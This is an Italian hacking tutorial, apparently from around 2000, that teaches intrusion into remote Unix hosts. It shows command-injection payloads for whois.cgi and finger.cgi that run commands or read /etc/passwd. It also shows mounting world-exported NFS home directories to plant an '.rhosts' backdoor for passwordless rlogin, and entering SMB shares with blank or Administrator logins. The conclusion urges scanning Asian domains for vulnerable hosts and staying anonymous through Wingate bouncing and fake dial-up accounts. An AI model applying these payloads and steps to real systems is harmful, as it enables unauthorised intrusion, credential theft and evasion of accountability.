 |
Menu principale |
 |
 |
Cartoline virtuali |
 |
Cartolina n° 347

Sono presenti 1307 cartoline virtuali. Entra ora
 |
Giochi online |
 |
 |
News Reader |
 |
|
---[ i N D i C E ]---
0x01.0 iNTR0
0x01.1 WH0iS.CGi
0x01.2 FiNGER.CGi
0x01.3 NETW0RK FiLE SYSTEM
0x01.4 NETBi0S & LiNUX: SAMBA HACKING
0x01.5 C0NCLUSi0NE
0x01.6 F0NTi
0x01.0 i N T R 0
================
Sembra che l'unico modo semplice per poter eseguire comandi su di un host da remoto
sia l'utilizzo del celebre phf, ormai introvabile.
Ebbene, non è così. Esistono altri bug, sia antichi, sia recenti, che permettono
di ottenere lo stesso risultato.
Il presente documento mostra alcuni metodi che consentono di eseguire comandi
da remoto, o comunque permettono all'intrusore di accedere a un host senza avere
un account su quel sistema. Questo articolo copre l'argomento dell'intrusione.
Cosa fare una volta entrati, come nascondersi, come ottenere il file delle password
e come crackarlo non sono argomenti trattati in questo tutorial.
In ogni caso, l'autore non si assume nessuna responsabilità sull'uso che verrà
fatto delle informazioni contenute in questo documento.
0x01.1 WHOIS.CGI
================
Il whois.cgi e' uno script che permette di verificare online l'esistenza di un
dominio. Per esempio, se vogliamo ottenere informazioni su di un determinato dominio,
basta immettere il nome del dominio nello spazio apposito e premere "Invio",
e otteniamo una serie di informazioni sul dominio specificato. Ebbene, la versione
1.0 dello script che effettua questa operazione contiene un bug: se al posto del
nome del dominio, inseriamo un comando Unix preceduto da ";" lo script
lo esegue e ci resituisce l'output sul browser! Per esempio, se noi mettiamo
;id
otteniamo come risposta qualcosa del tipo:
uid=501(tritemius) gid=500(users)
come se avessimo eseguito il comando id da una shell.
Con
;cat < /etc/passwd
otterremo la lista del file delle password (che probabilmente sarà shadowed).
Esistono varianti di questo bug: in alcuni casi, invece di usare semplicemente
il ";" si devono mettere anche le doppie apici; oppure un ";"
anche in fondo al comando. Ecco il bug nelle sue tre varianti:
;comando
";comando
;comando;
Questo bug e' discretamente diffuso: l'ho visto funzionare anche su sistemi abbastanza
grandi. Ho trovato solo la prima variante, e l'ho visto funzionre solo su script
contrassegnati dal numero di versione 1.0.
0x01.2 FINGER.CGI
=================
Finger è un programma che mostra informazioni sugli utenti di un host. Il discorso
e' analogo al whois.cgi bug: ci sono siti che mettono online il finger. La pagina
html richiama un cgi, appunto il finger.cgi. Se inseriamo nella text-box di input
un comando Unix preceduto da "|", il comando sara' eseguito, esattamente
come nel caso del whois.cgi.
Esempio:
|id
otteniamo come risposta qualcosa del tipo:
uid=501(tritemius) gid=500(users)
Anche questo script è diffuso più o meno come il whois.cgi (forse un po' meno).
Non ho info sul numero di versione di questo script.
0x01.3 NETW0RK FiLE SYSTEM
==========================
Abbandoniamo i cgi e veniamo a un classico dell'hacking in ambiente Unix, ovvero
il Network File System. Benchè si tratti di un metodo assai datato e' impressionante
il numero di sistemi tuttora attaccabili con questo sistema. Unix permette di
condividere directory attraverso una rete. Questo significa che un computer remoto
puo' "montare" sul proprio sistema una o piu' directory del sistema
locale. Il computer remoto monta la directory con il comando mount lo stesso comando
utilizzato per montare floppy,cdrom,partizioni. Dopo che questa operazione è stata
eseguita il sistema remoto puo' accedere alla directory condivisa come se questa
fosse in locale, come se facesse parte dello stesso hard-disk; l'utente accede
a questa directory come accede a tutte le altre, con i comandi classici (cd,mv,cp,rm...).
Tutto il meccanismo è completamente trasparente all'utente.
Per controllare se un sistema condivide directory attraverso NFS, basta eseguire
showmount -e nomehost
Se esistono directory condivise queste verranno listate:
/home host1 host2 host3
/usr host1
Questo esempio mostra quello che puo' risultare dall'esecuzione del comando showmount,
ovvero una serie di directory (2 in questo case,home e usr) seguite dal nome degli
host che possono accedere a queste risorse. Come si intuisce, queste directory
possono essere montate solo dai sistemi elencati (host1,host2,host3). Ma se al
posto di host1,host2,host3 ci fosse stato everyone, allora le due directory sarebbero
state leggibili da chiunque...
Per sempio:
showmount -e www.pippo.com
/home everyone
/home1 everyone
/home2 everyone
L'host www.pippo.com esporta 3 directory; queste directory possono essere montate
da qualsiasi sistema!!!
Quindi eseguiamo
mount www.pippo.com:/home /mnt
A questo punto nella directory mnt del nostro sistema troveremo il contenuto della
directory home dell'host www.pippo.com!
Con
cd mnt
ls
avremo la lista della directory home
/joe /john /mike
Ora basta entrare nella direcotry di un utente (es.: cd joe),inserire la piu'
classica delle backdoor:
echo '+ +' >> .rhosts
ed eseguire un login remoto
rlogin -l joe www.pippo.com
per avere una shell senza richiesta di password.
Questo metodo funziona ancora. In Oriente si trovano molti sistemi con questo
tipo di problema.
0x01.4 NETBi0S & LiNUX: SAMBA HACKiNG
=====================================
Molti avranno gia' sperimentato il netbios hacking da Windows utilizzando nbtstat.
Qui viene illustrato come la stessa tecnica puo' essere utilizzata anche con Linux;
si deve sapere inoltre che la condivisione di risorse tramite netbios (la famosa
porta 139) non e' una caratteristica dei sistemi Microsoft: anche Unix permette
lo stesso tipo di servizio tramite Samba server.
Per accedere ai servizi netbios sotto Linux occorre il Samba client (smbclient),
che molto probabilmente troverete nella vostra distribuzione. Eseguendo smbclient
senza argomenti viene mostrata la lista delle opzioni:
Usage: smbclient service [-p port] [-d
debuglevel] [-l log]
Version 1.9.17p4
-p port listen on the specified port
-d debuglevel set the debuglevel
-l log basename. Basename for log/debug files
-n netbios name. Use this name as my netbios name
-N don't ask for a password
-P connect to service as a printer
-M host send a winpopup message to the host
-m max protocol set the max protocol level
-L host get a list of shares available on a host
-I dest IP use this IP to connect to
-E write messages to stderr instead of stdout
-U username set the network username
-W workgroup set the workgroup name
-c command string execute semicolon separated commands
-TIXgbNa command line tar
-D directory start from directory
A noi interessa l'opzione -L
smbclient -L "nome_host_dns"
(per nome_host_dns si intende il nome dell'host tipo www.pippo.com)
Questo comando mostra le eventuali risorse che il sistema remoto mette a disposizione:
Added interface ip=192.168.0.2 bcast=192.168.0.255
nmask=255.255.255.0
Unknown socket option TCP_NODELAY
Server time is Tue Jan 27 22:54:18 2000
Timezone is UTC+1.0
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 1.9.17p4]
connected as guest security=user
Server=[LOCALHOST] User=[nobody] Workgroup=[WORKGROUP] Domain=[WORKGROUP]
Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Samba 1.9.17p4)
X Disk "Directory condivisa"
This machine has a browse list:
Server Comment
--------- -------
VITTIMA Samba 1.9.17p4
This machine has a workgroup list:
Workgroup Master
--------- -------
OTHERGROUP OTHER
WORKGROUP VITTIMA
Ora possiamo accedere. Come ? Ancora con smbclient. Vediamo:
smbclient VITTIMAX -I ip_vittima
Dove ip_vittima e' l'ip che avrete ottenuto con il lookup del nome_host_dns. Talvolta
appare la richiesta di una password: normalmente basta battere invio per ottenere
l'accesso; se questo non dovesse funzionare, si puo' tentare di entrare specificando
l'account con l'opzione -U
smbclient VITTIMAX -I ip_vittima -U Administrator
battendo sempre invio all'eventuale richiesta di password. Una volta entrati vi
troverete di fronte a un prompt del tipo
smb>
e potrete interagire con il server piu' o meno come si farebbe con ftp. Con ?
si ottiene la lista dei comandi:
smb: > ?
ls dir lcd cd pwd
get mget put mput rename
more mask del rm mkdir
md rmdir rd pq prompt
recurse translate lowercase print printmode
queue qinfo cancel quit q
exit newer archive tar blocksize
tarmode setmode help ? !
E' possibile anche montare la diretory remota come si fa con il NFS che abbiamo
visto prima: pero' invece di usare mount si usa smbmount:
smbmount //VITTIMA/X /mnt -I
Per poter montare il SMB file system ci si deve assicurare che il proprio kernel
lo supporti; in caso contrario sara' necessario ricompilarlo includendo questa
caratteristica.
Una volta montata la directory remota, si potranno usare i comandi Unix come
nel caso del NFS.
0x01.5 CONCLUSi0NE
==================
Tutte le tecniche esaminate in questo articolo hanno una caratteristica comune:
sono relativamente semplici e funzionano. Uno scanning nei domini .kr,.tw,.jp
e affini porta alla luce una situazione sconcertante dal punto di vista della
sicurezza. Con un po' di pazienza (e con gli strumenti giusti) si troveranno
decine di host che avranno almeno una delle debolezze qui descritte (probabilmente
molti cadranno a causa delle condivisioni SMB e NFS).
Il fatto che questi sistemi siano deboli non deve essere un invito ad abbassare
la guardia dal punto di vista dell'anonimato.
Tutte le regole devono essere rispettate: bouncing sui Wingate o da shell "sicure";
utilizzo di account falsi per il dial-up telefonico; inibizione del CLI (per
quel che puo' valere). Per una trattazione piu' approfondita dell'argomento
controllate "Mimetizzazione termo-ottica", che trovate sul mio sito.
Inoltre invito tutti ad approfondire gli argomenti qui esposti prima di metterli
in pratica. Studiate i comandi mount,showmount,smbclient,rlogin (e tutti gli
altri sui quali avete dubbi) utilizzando il comando man (es. man mount).
0x01.6 F0NTi
============
"Whois.cgi Advisory hhp-ADV#12"
(Loophole, hhp)
"Improving the Security of Your Site by Breaking Into it"
(Dan Farmer,Wietse Venema)
"Uso de Samba en Linux/Unix como sustituto del Nbtstat"
(Enif, JJF#3)
[EOF]
|
|
|
|